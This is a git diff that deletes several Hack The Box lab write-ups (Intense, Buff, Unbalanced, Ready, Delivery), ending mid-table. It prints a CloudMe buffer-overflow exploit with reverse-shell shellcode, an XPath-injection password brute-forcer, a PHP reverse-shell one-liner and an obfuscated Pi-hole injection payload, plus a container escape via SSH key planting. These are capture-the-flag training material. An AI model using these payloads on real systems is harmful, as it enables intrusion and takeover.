exploit this we'll first need to get the signature computed for the guest login and convert it to hex to we can it with the [https://github.com/iagox86/hash_extender](https://github.com/iagox86/hash_extender) tool. - -`Cookie: auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.VpEzmSntTZ5iNqIoUnGsE2QJazYqfE07nTRd9vIk1qo=` : `5691339929ed4d9e6236a2285271ac1364096b362a7c4d3b9d345df6f224d6aa` - -Using hash extender, we'll compute a new signature for the message where we added the admin username and corresponding password hash. The web application will use the username we added instead of the guest placed in front. The web application uses a random SECRET length so we'll tell hash extender to computer signatures for lengths between 8 and 15 characters. - -![](/assets/images/htb-writeup-intense/image-20200706085707055.png) - -In this case, the correct length of the SECRET key is 14 and we're able to make a POST request to the protect admin endpoints and list log directories with `/admin/log/dir`. The code is vulnerable to path traversal so we can list any directory: - -![](/assets/images/htb-writeup-intense/image-20200706090203885.png) - -With the `admin/log/view` route we have an arbitrary file read vulnerability and we can view the user flag: - -![](/assets/images/htb-writeup-intense/image-20200706090447046.png) - -## Unintended priv esc - -Looking around the box with the path traversal bug, we find the configuration file for the snmpd agent and find an additional community string with Read-Write privileges: `SuP3RPrivCom90` - -![](/assets/images/htb-writeup-intense/image-20200706090640053.png) - -We can confirm that the community string works by doing an `snmpwalk`: - -![](/assets/images/htb-writeup-intense/image-20200706091044285.png) - -The snmpd.conf configuration two useful entries that will allow use to get RCE: - -``` -extend test1 /bin/echo Hello, world! -extend-sh test2 echo Hello, world! ; echo Hi there ; exit 35 -``` - -We can find a couple of blog posts online such as [https://mogwailabs.de/blog/2019/10/abusing-linux-snmp-for-rce/](https://mogwailabs.de/blog/2019/10/abusing-linux-snmp-for-rce/) that describe how we can get remote code execution using SNMP read-write community strings on Linux systems. - -I'll copy my SSH public key to the Debian-snmp user home directory with the following command: - -![](/assets/images/htb-writeup-intense/image-20200706091540979.png) - -Note that the `/etc/passwd` file entry for this user is: - -``` -Debian-snmp:x:111:113::/var/lib/snmp:/bin/false -``` - -This means I won't able able to get a shell but I can still connect and port forward my connection using the following: - -![](/assets/images/htb-writeup-intense/image-20200706091758477.png) - -We can start a netcat listener then use snmpd to start another bash prompt and redirect its output to the port we are forwarding on SSH: - -![](/assets/images/htb-writeup-intense/image-20200706092224782.png) - -There's a note_server application running as root with the binary and source code available in the user home directory but we'll bypass this binexp another way: - -![](/assets/images/htb-writeup-intense/image-20200706092355437.png) - -From the ps output, we can see that the username that the snmpd agent is running as is specifically defined in one of the program argument: - -![](/assets/images/htb-writeup-intense/image-20200706092534365.png) - -By default, the snmpd agent will look for a configuration file in `$HOME/snmp/snmpd.conf` (which doesn't exist on this box), then it'll look for `/etc/snmp/snmpd.conf`. There's a parameter in the configuration called `agentUser` which supercedes the configuration option passed as argument. - -We can make the agent run as root by creating a configuration file in `/var/lib/snmp/snmpd.local.conf` and wait for the snmpd daemon to restart. After it restarts it will run as root and we just have to run bash again and it'll give us a root shell. - -![](/assets/images/htb-writeup-intense/image-20200706093322090.png) - diff --git a/_posts/2020-11-21-htb-writeup-buff.md b/_posts/2020-11-21-htb-writeup-buff.md deleted file mode 100644 index b431a6fd21..0000000000 --- a/_posts/2020-11-21-htb-writeup-buff.md +++ /dev/null @@ -1,166 +0,0 @@ ---- -layout: single -title: Buff - Hack The Box -excerpt: "Buff is pretty straightforward: Use a public exploit against the Gym Management System, then get RCE. Do some port-forwarding, then use another exploit (buffer overflow against Cloudme Sync) to get Administrator access." -date: 2020-11-21 -classes: wide -header: - teaser: /assets/images/htb-writeup-buff/buff_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - buffer overflow - - cve - - windows - - file upload - - cloudme sync ---- - -![](/assets/images/htb-writeup-buff/buff_logo.png) - -Buff is pretty straightforward: Use a public exploit against the Gym Management System, then get RCE. Do some port-forwarding, then use another exploit (buffer overflow against Cloudme Sync) to get Administrator access. - -## Summary - -- Use unauthenticated file upload vulnerability in Gym Management System 1.0 to get RCE -- Exploit a buffer overflow vulnerability in the CloudMe Sync application to get RCE as Administrator - -## Portscan - -![image-20200726162532670](/assets/images/htb-writeup-buff/image-20200726162532670.png) - -## Website - -There's a PHP web application running on port 8080 and it looks like it's a fitness/gym website. - -![image-20200726161829858](/assets/images/htb-writeup-buff/image-20200726161829858.png) - -![image-20200726162013695](/assets/images/htb-writeup-buff/image-20200726162013695.png) - -![image-20200726162040519](/assets/images/htb-writeup-buff/image-20200726162040519.png) - -![image-20200726162116526](/assets/images/htb-writeup-buff/image-20200726162116526.png) - -The Contact page shows a possible software name / version which we'll look up on Exploit-DB. - -![image-20200726162202199](/assets/images/htb-writeup-buff/image-20200726162202199.png) - -Exploit-DB has a match for Gym Management System 1.0. At the bottom of every page on the website we see `projectworlds.in` so it's a fair guess that this is the software running this website. - -![image-20200726162258198](/assets/images/htb-writeup-buff/image-20200726162258198.png) - -Luckily for us, the exploit is unauthenticated and provides remote execution so we don't need anything else to get started. - -``` -# Exploit Title: Gym Management System 1.0 - Unauthenticated Remote Code Execution -# Exploit Author: Bobby Cooke -# Date: 2020-05-21 -# Vendor Homepage: https://projectworlds.in/ -# Software Link: https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/ -# Version: 1.0 -# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4 -# Exploit Tested Using: Python 2.7.17 -# Vulnerability Description: -# Gym Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters. -[...] -``` - -## Gym Management System exploitation - -The exploit provides a nice pseudo-shell which is useful for looking around and running other commands. We can see our initial shell is running as user **Shaun** and that we can get the first flag. - -![image-20200726162806589](/assets/images/htb-writeup-buff/image-20200726162806589.png) - -## Priv esc - -Checking the open ports on the machine, we see there's a MySQL instance running on port 3306 and something else running on port 8888. - -![image-20200726163049549](/assets/images/htb-writeup-buff/image-20200726163049549.png) - -On Exploit-DB we can find a few vulnerabilities for CloudMe Sync. I've highlighted the exploit I used. The CloudMe Sync software is not compiled with any of the protections enabled like ASLR and DEP so a good old buffer overflow with shellcode executable on the stack will work fine. - -![image-20200726185742784](/assets/images/htb-writeup-buff/image-20200726185742784.png) - -We'll need to do some port-forwarding to be able to reach port 8888 with our exploit. I could use plink or metasploit to do that but instead I'll use the https://github.com/xct/xc reverse shell tool. I'll transfer the tool with smbclient.py from impacket then rename it to contain my IP address and port. It's an optional feature of xc which is nice in case you can execute a file but can't pass any parameters to it. - -![image-20200726184935454](/assets/images/htb-writeup-buff/image-20200726184935454.png) - -After catching the reverse shell with xc, we'll use the `!portfwd` command to redirect port 8888 on our local machine to port 8888 on the remote box. - -![image-20200726185112725](/assets/images/htb-writeup-buff/image-20200726185112725.png) - -Next, we'll generate a shellcode that'll spawn a reverse shell. The output is in Python3 format (it contains the b before the string indicating it's a byte type). I'll clean that up and rename buf to shellcode and stick it in the downloaded exploit. - -![image-20200726185959460](/assets/images/htb-writeup-buff/image-20200726185959460.png) - -Final exploit shown below: - -```python -####################################################### -# Exploit Title: Local Buffer Overflow on CloudMe Sync v1.11.0 -# Date: 08.03.2018 -# Vendor Homepage: https://www.cloudme.com/en -# Software Link: https://www.cloudme.com/downloads/CloudMe_1110.exe -# Category: Local -# Exploit Discovery: Prasenjit Kanti Paul -# Web: http://hack2rule.wordpress.com/ -# Version: 1.11.0 -# Tested on: Windows 7 SP1 x86 -# CVE: CVE-2018-7886 -# Solution: Update CloudMe Sync to 1.11.2 -####################################################### - -#Disclosure Date: March 12, 2018 -#Response Date: March 14, 2018 -#Bug Fixed: April 12, 2018 - -# Run this file in victim's win 7 sp1 x86 system where CloudMe Sync 1.11.0 has been installed. - -import socket - -target="127.0.0.1" - -junk="A"*1052 - -eip="\x7B\x8A\xA9\x68" #68a98a7b : JMP ESP - Qt5Core.dll - -shellcode = "" -shellcode += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" -shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" -shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" -shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" -shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" -shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" -shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" -shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" -shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" -shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" -shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" -shellcode += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" -shellcode += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" -shellcode += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f" -shellcode += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0a\x0e\x15\x68" -shellcode += "\x02\x00\x15\xb3\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5" -shellcode += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec" -shellcode += "\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89" -shellcode += "\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66" -shellcode += "\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44" -shellcode += "\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68" -shellcode += "\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30" -shellcode += "\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68" -shellcode += "\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0" -shellcode += "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" - -payload=junk+eip+shellcode - -s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) -s.connect((target,8888)) -s.send(payload) -``` - -The exploit triggers the buffer overflow, executes our shellcode and spawn a reverse shell which we catch with a netcat listener. - -![image-20200726190204674](/assets/images/htb-writeup-buff/image-20200726190204674.png) \ No newline at end of file diff --git a/_posts/2020-12-05-htb-writeup-unbalanced.md b/_posts/2020-12-05-htb-writeup-unbalanced.md deleted file mode 100644 index 8e7fc9ddb5..0000000000 --- a/_posts/2020-12-05-htb-writeup-unbalanced.md +++ /dev/null @@ -1,287 +0,0 @@ ---- -layout: single -title: Unbalanced - Hack The Box -excerpt: "To solve Unbalanced, we'll find configuration backups files in EncFS and after cracking the password and figuring out how EncFS works, we get the Squid proxy cache manager password that let us discover internal hosts. Proxying through Squid, we then land on a login page that uses Xpath to query an XML backend database. We perform Xpath injection to retrieve the password of each user, then port forward through the SSH shell to reach a Pi-Hole instance, vulnerable to a command injection vulnerability." -date: 2020-12-05 -classes: wide -header: - teaser: /assets/images/htb-writeup-unbalanced/unbalanced_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - rsync - - encfs - - squid - - xpath - - CVE-2020-11108 - - command injection ---- - -![](/assets/images/htb-writeup-unbalanced/unbalanced_logo.png) - -To solve Unbalanced, we'll find configuration backups files in EncFS and after cracking the password and figuring out how EncFS works, we get the Squid proxy cache manager password that let us discover internal hosts. Proxying through Squid, we then land on a login page that uses Xpath to query an XML backend database. We perform Xpath injection to retrieve the password of each user, then port forward through the SSH shell to reach a Pi-Hole instance, vulnerable to a command injection vulnerability. - -## Portscan - -![](/assets/images/htb-writeup-unbalanced/image-20200801192958121.png) - -## Rsync & EncFS - -We can list the available modules on the rsync server by specifying the rsync URL and leaving off the module name. The output shows there is an available module called `conf_backups`. - -![](/assets/images/htb-writeup-unbalanced/image-20200801192743922.png) - -After downloading the remote files we end up with a bunch of files with weird random names. - -![](/assets/images/htb-writeup-unbalanced/image-20200801193241170.png) - -There's also a file `.encfs6.xml` that contains the configuration for `EncFS 1.9.5`. The encoded key data and salt for the file encryption is contained in the XML file below: - -```xml - - - - - 20100713 - EncFS 1.9.5 - - ssl/aes - 3 - 0 - - - nameio/block - 4 - 0 - - 192 - 1024 - 0 - 1 - 1 - 0 - 0 - 0 - 1 - 44 - -GypYDeps2hrt2W0LcvQ94TKyOfUcIkhSAw3+iJLaLK0yntwAaBWj6EuIet0= - - 20 - -mRdqbk2WwLMrrZ1P6z2OQlFl8QU= - - 580280 - 500 - - -``` - -I've never used EncFS before but some quick research shows that it's an encrypted filesystem in user-space running with regular user permissions using the FUSE library. - -> Two directories are involved in mounting an EncFS filesystem: the source directory, and the mountpoint. Each file in the mountpoint has a specific file in the source directory that corresponds to it. The file in the mountpoint provides the unencrypted view of the one in the source directory. Filenames are encrypted in the source directory. -> -> Files are encrypted using a volume key, which is stored either within or outside the encrypted source directory. A password is used to decrypt this key. - -We don't have the password but luckily there's already a python script in John the Ripper that can extract the hash from the XML and produce it in a format that can be understood by John the Ripper. - -![](/assets/images/htb-writeup-unbalanced/image-20200801194238244.png) - -We'll use the `rockyou.txt` wordlist with John the Ripper to crack it, recovering the password: `bubblegum` - -![](/assets/images/htb-writeup-unbalanced/image-20200801194408192.png) - -We then mount the filesystem in the `mnt` directory, and we now have access to the decrypted files. We'll look through those files next to find credentials and useful information. - -![](/assets/images/htb-writeup-unbalanced/image-20200801195304488.png) - -## Squid - -The `squid.conf` configuration is what we'll be looking at next. Squid is an open-source caching proxy for HTTP and HTTPS traffic. The configuration contains security rules restricting access to the intranet site. From the configuration we find a hostname: `intranet.unbalanced.htb`. The configuration restricts access to the backend networks but the `acl intranet_net dst -n 172.16.0.0/12` will allow the proxy to reach that network. We don't have the IP for the `intranet.unbalanced.htb` host but we can guess it'll be in that network. - -``` -# Allow access to intranet -acl intranet dstdomain -n intranet.unbalanced.htb -acl intranet_net dst -n 172.16.0.0/12 -http_access allow intranet -http_access allow intranet_net - -# And finally deny all other access to this proxy -http_access deny all -#http_access allow all -[...] -# No password. Actions which require password are denied. -cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events -cachemgr_passwd disable all -``` - -The configuration also contains the cachemgr password: `Thah$Sh1` - -The cache manager is the component for Squid that provide reports and statistics about the Squid process running. We can interact with the cache manager over HTTP manually but to make it a bit easier we can use the `squidclient` CLI utility. I've highlighted `fqdncache` because that's where we'll look to find the IP's of the servers behind the proxy. - -![](/assets/images/htb-writeup-unbalanced/image-20200801200747899.png) - -With the `squidclient -W 'Thah$Sh1' -U cachemgr -h 10.10.10.200 squidclient cache_object://intranet.unbalanced.htb mgr:fqdncache` command we'll get the cache entries, showing 3 different hosts. - -![](/assets/images/htb-writeup-unbalanced/image-20200801201208461.png) - -## Website - -Using Burp instead of proxying directly from the browser is better because we'll be able to look at the traffic, modify requests, etc. The configuration from in Burp is shown here: - -![](/assets/images/htb-writeup-unbalanced/image-20200801201823427.png) - -We can now reach the intranet site through the Squid proxy. The page has a login form for the Employee Area, some package information below and a non-functional contact form at the bottom of the page. - -![](/assets/images/htb-writeup-unbalanced/image-20200801202142101.png) - -Unfortunately, the login doesn't return anything when we try credentials, it just reloads the same page without an **invalid credentials** error message or other indication that the page works or not. The `http://172.31.179.2/intranet.php` and `http://172.31.179.2/intranet.php` sites are exactly the same and the login form doesn't work either. - -However, there's another active host not present in fqdncache that we can find by guessing the name/IP based on the other two entries: `172.31.179.1 / intranet-host1.unbalanced.htb`. - -This server is configured differently and does return an invalid credential message when try to connect to it. I tried checking for SQL injection but I couldn't find anything manually or through sqlmap. - -![](/assets/images/htb-writeup-unbalanced/image-20200801203244623.png) - -## XPath injection - -After dirbusting the site for additional clues we find an `employees.xml` file which unfortunately we can't access. However this is a hint that we are probably looking at an XML authentication backend instead of SQL, so we should now be thinking about XPath injection. - -![](/assets/images/htb-writeup-unbalanced/image-20200801204925666.png) - -After messing with payloads for a while I found that we can return all the entries by using the following request: - -![](/assets/images/htb-writeup-unbalanced/image-20200801210131487.png) - -``` -

    rita Rita

    Fubelli

    Role: rita@unbalanced.htb

    -

    Jim Mickelson

    jim@unbalanced.htb

    Role: Web Designer

    -

    Bryan Angstrom

    bryan@unbalanced.htb

    Role: System Administrator

    -

    Sarah Goodman

    sarah@unbalanced.htb

    Role: Team Leader

    -``` - -Now we have the usernames but no password yet. - -Here's the boolean script we'll use to extract the password for all 4 accounts: - -```python -#!/usr/bin/python3 - -import requests -import string -from pwn import * - -proxies = { - "http": "10.10.10.200:3128" -} - -usernames = [ - "rita", - "jim", - "bryan", - "sarah" -] - -def getChar(user, x, i): - url = "http://172.31.179.1:80/intranet.php" - data = {"Username": user, "Password": "a' or substring(//Username[contains(.,'" + user + "')]/../Password,{0},1)='{1}']\x00".format(str(i), x)} - r = requests.post(url, data=data, proxies=proxies) - if len(r.text) == 7529: - return True - else: - return False - -charset = string.ascii_letters + string.digits + string.punctuation - -for user in usernames: - pwd = "" - l = log.progress("Brute Forcing %s... " % user) - log_pass = log.progress("Password: ") - i = 1 - while True: - canary = True - for x in charset: - l.status(x) - res = getChar(user,x, i) - if res: - canary = False - pwd += x - log_pass.status(pwd) - i += 1 - break - if canary: - break - -l.success("DONE") -log_pass.success(pwd) -``` - -Running the script we get the following passwords: - -![](/assets/images/htb-writeup-unbalanced/image-20200801212846920.png) - -The only credentials that work over SSH are `bryan / ireallyl0vebubblegum!!!` - -![](/assets/images/htb-writeup-unbalanced/image-20200801212949995.png) - -## Pi-hole CVE-2020-11108 - -Checking the listening sockets we see something on port 5553. - -![](/assets/images/htb-writeup-unbalanced/image-20200801213125467.png) - -Googling port 5553 confirms what we see in the TODO file: it's running the Pi-hole: - -``` -bryan@unbalanced:~$ cat TODO -############ -# Intranet # -############ -* Install new intranet-host3 docker [DONE] -* Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE] -* Test intranet-host3 [DONE] -* Add intranet-host3 to load balancer [DONE] -* Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE] -* Fix intranet-host2 [DONE] -* Re-add intranet-host2 to load balancer (set default weight) [DONE] -- Fix intranet-host1 [TODO] -- Re-add intranet-host1 to load balancer (set default weight) [TODO] - -########### -# Pi-hole # -########### -* Install Pi-hole docker (only listening on 127.0.0.1) [DONE] -* Set temporary admin password [DONE] -* Create Pi-hole configuration script [IN PROGRESS] -- Run Pi-hole configuration script [TODO] -- Expose Pi-hole ports to the network [TODO -``` - -The Pi-hole has an RCE CVE documented here: https://frichetten.com/blog/cve-2020-11108-pihole-rce/ - -I'll establish an SSH local forward with `ssh -L 9080:127.0.0.1:8080 bryan@10.10.10.200` then reach the admin interface on port 8080. Fortunately the `admin / admin` credentials work and we're able to get in. - -![](/assets/images/htb-writeup-unbalanced/image-20200801213759929.png) - -We'll just modify the PoC exploit with the right IP for our machine: `php -r '$sock=fsockopen("10.10.14.18",4444);exec("/bin/sh -i <&3 >&3 2>&3");'` - -The final payload looks like this: - -``` -aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202D72202724736F636B3D66736F636B6F70656E282231302E31302E31342E3138222C34343434293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27"));'&& -``` - -![](/assets/images/htb-writeup-unbalanced/image-20200801214200971.png) - -![](/assets/images/htb-writeup-unbalanced/image-20200801214225678.png) - -Looking around the container we find a password in the `pihole_config.sh` file: - -![](/assets/images/htb-writeup-unbalanced/image-20200801214525034.png) - -We can su as root with those creds and pwn the last flag: - -![](/assets/images/htb-writeup-unbalanced/image-20200801214629712.png) \ No newline at end of file diff --git a/_posts/2021-05-15-htb-writeup-ready.md b/_posts/2021-05-15-htb-writeup-ready.md deleted file mode 100644 index bdf998e2d3..0000000000 --- a/_posts/2021-05-15-htb-writeup-ready.md +++ /dev/null @@ -1,147 +0,0 @@ ---- -layout: single -title: Ready - Hack The Box -excerpt: "Ready was a pretty straighforward box to get an initial shell on: We identify that's it running a vulnerable instance of Gitlab and we use an exploit against version 11.4.7 to land a shell. Once inside, we quickly figure out we're in a container and by looking at the docker compose file we can see the container is running in privileged mode. We then mount the host filesystem within the container then we can access the flag or add our SSH keys to the host root user home directory." -date: 2021-05-15 -classes: wide -header: - teaser: /assets/images/htb-writeup-ready/ready_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - linux - - gitlab - - cve - - docker - - privileged container ---- - -![](/assets/images/htb-writeup-ready/ready_logo.png) - -Ready was a pretty straighforward box to get an initial shell on: We identify that's it running a vulnerable instance of Gitlab and we use an exploit against version 11.4.7 to land a shell. Once inside, we quickly figure out we're in a container and by looking at the docker compose file we can see the container is running in privileged mode. We then mount the host filesystem within the container then we can access the flag or add our SSH keys to the host root user home directory. - -## Portscan - -``` -sudo nmap -T4 -sC -sV -oA scan -p- 10.129.149.31 -Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-09 22:41 EDT -Nmap scan report for 10.129.149.31 -Host is up (0.015s latency). -Not shown: 65533 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) -| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) -|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) -5080/tcp open http nginx -| http-robots.txt: 53 disallowed entries (15 shown) -| / /autocomplete/users /search /api /admin /profile -| /dashboard /projects/new /groups/new /groups/*/edit /users /help -|_/s/ /snippets/new /snippets/*/edit -| http-title: Sign in \xC2\xB7 GitLab -|_Requested resource was http://10.129.149.31:5080/users/sign_in -|_http-trane-info: Problem with XML parsing of /evox/about -``` - -## Gitlab - -The webserver on port 5080 runs a Gitlab instance. - -![](/assets/images/htb-writeup-ready/gitlab1.png) - -We have access to create a new account. - -![](/assets/images/htb-writeup-ready/gitlab2.png) - -Once logged in, we see in the projects list there's a single projet called *ready-channel*. - -![](/assets/images/htb-writeup-ready/gitlab3.png) - -To check the Gitlab version we go to the Help section and we can see it's running 11.4.7. - -![](/assets/images/htb-writeup-ready/gitlab5.png) - -A quick search on Exploit-DB shows there's an authenticated remote code execution vulnerability for this exact version. - -![](/assets/images/htb-writeup-ready/gitlab6.png) - -`python3 exploit.py -g http://10.129.149.31 -u snowscan2 -p yolo1234 -l 10.10.14.4 -P 4444` - -Reverse shell connection: - -![](/assets/images/htb-writeup-ready/shell.png) - -![](/assets/images/htb-writeup-ready/user.png) - -## Privesc - -By running [linpeas.sh](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) we find a backup file with some SMTP credentials for the gitlab application. - -``` -Found /opt/backup/gitlab.rb -gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h" -``` - -That password is the same password as the root password for the container so we can privesc locally inside the container. - -``` -git@gitlab:/opt/backup$ su -l root -su -l root -Password: wW59U!ZKMbG9+*#h - -root@gitlab:~# -``` - -There's a root_pass file in the root of the filesystem but that's not useful. - -``` -cat /root_pass -YG65407Bjqvv9A0a8Tm_7w -``` - -If we look at the `/opt/backup/docker-compose.yml` configuration file, we can see it's a hint that we're running in a privileged container: - -``` - volumes: - - './srv/gitlab/config:/etc/gitlab' - - './srv/gitlab/logs:/var/log/gitlab' - - './srv/gitlab/data:/var/opt/gitlab' - - './root_pass:/root_pass' - privileged: true - restart: unless-stopped - #mem_limit: 1024m -``` - -Privileged containers can access the host's disk devices so we can just read the root flag after mounting the drive. - -![](/assets/images/htb-writeup-ready/root.png) - -To get a proper shell in the host OS we can drop our SSH keys in the root's .ssh directory. - -``` -root@gitlab:~# mount /dev/sda2 /mnt -mount /dev/sda2 /mnt -root@gitlab:~# echo 'ssh-rsa AAAAB3NzaC1y[...]+HUBS+l32faXPc= snowscan@kali' > /mnt/root/.ssh/authorized_keys - -[...] - -$ ssh root@10.129.150.37 -The authenticity of host '10.129.150.37 (10.129.150.37)' can't be established. -ECDSA key fingerprint is SHA256:7+5qUqmyILv7QKrQXPArj5uYqJwwe7mpUbzD/7cl44E. -Are you sure you want to continue connecting (yes/no/[fingerprint])? yes -Warning: Permanently added '10.129.150.37' (ECDSA) to the list of known hosts. -Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64) - -[...] - -The list of available updates is more than a week old. -To check for new updates run: sudo apt update - -Last login: Thu Feb 11 14:28:18 2021 -root@ready:~# cat root.txt -b7f98681505cd39066f67147b103c2b3 -``` \ No newline at end of file diff --git a/_posts/2021-05-22-htb-writeup-delivery.md b/_posts/2021-05-22-htb-writeup-delivery.md deleted file mode 100644 index 51fdd7212c..0000000000 --- a/_posts/2021-05-22-htb-writeup-delivery.md +++ /dev/null @@ -1,220 +0,0 @@ ---- -layout: single -title: Delivery - Hack The Box -excerpt: "Delivery is a quick and fun easy box where we have to create a MatterMost account and validate it by using automatic email accounts created by the OsTicket application. The admins on this platform have very poor security practices and put plaintext credentials in MatterMost. Once we get the initial shell with the creds from MatterMost we'll poke around MySQL and get a root password bcrypt hash. Using a hint left in the MatterMost channel about the password being a variation of PleaseSubscribe!, we'll use hashcat combined with rules to crack the password then get the root shell." -date: 2021-05-22 -classes: wide -header: - teaser: /assets/images/htb-writeup-delivery/delivery_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - osticket - - mysql - - mattermost - - hashcat - - rules ---- - -![](/assets/images/htb-writeup-delivery/delivery_logo.png) - -Delivery is a quick and fun easy box where we have to create a MatterMost account and validate it by using automatic email accounts created by the OsTicket application. The admins on this platform have very poor security practices and put plaintext credentials in MatterMost. Once we get the initial shell with the creds from MatterMost we'll poke around MySQL and get a root password bcrypt hash. Using a hint left in the MatterMost channel about the password being a variation of PleaseSubscribe!, we'll use hashcat combined with rules to crack the password then get the root shell. - -## Portscan - -``` -Nmap scan report for 10.129.148.141 -Host is up (0.018s latency). -Not shown: 65532 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) -| ssh-hostkey: -| 2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA) -| 256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA) -|_ 256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519) -80/tcp open http nginx 1.14.2 -|_http-server-header: nginx/1.14.2 -|_http-title: Welcome -8065/tcp open unknown -| fingerprint-strings: -| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: -| HTTP/1.1 400 Bad Request -| Content-Type: text/plain; charset=utf-8 -| Connection: close -| Request -| GetRequest: -| HTTP/1.0 200 OK -| Accept-Ranges: bytes -| Cache-Control: no-cache, max-age=31556926, public -| Content-Length: 3108 -| Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com -| Content-Type: text/html; charset=utf-8 -| Last-Modified: Sun, 09 May 2021 00:00:02 GMT -| X-Frame-Options: SAMEORIGIN -| X-Request-Id: fqrpd5m3ftgnzmxkbieezqadxo -| X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false -| Date: Sun, 09 May 2021 00:01:31 GMT -| Mattermost show databases; -+--------------------+ -| Database | -+--------------------+ -| information_schema | -| mattermost | -+--------------------+ -``` - -MatterMost user accounts are stored in the `Users` table and hashed with bcrypt. We'll save the hashes then try to crack them offline. - -``` -MariaDB [(none)]> use mattermost; -Reading table information for completion of table and column names -You can turn off this feature to get a quicker startup with -A - -Database changed -MariaDB [mattermost]> select Username,Password from Users; -+----------------------------------+--------------------------------------------------------------+ -| Username | Password | -+----------------------------------+--------------------------------------------------------------+ -| surveybot | | -| c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK | -| 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G | -| root | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO | -| snowscan | $2a$10$spHk8ZGr54VWf4kNER/IReO.I63YH9d7WaYp9wjiRswDMR.P/Q9aa | -| ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq | -| channelexport | | -| 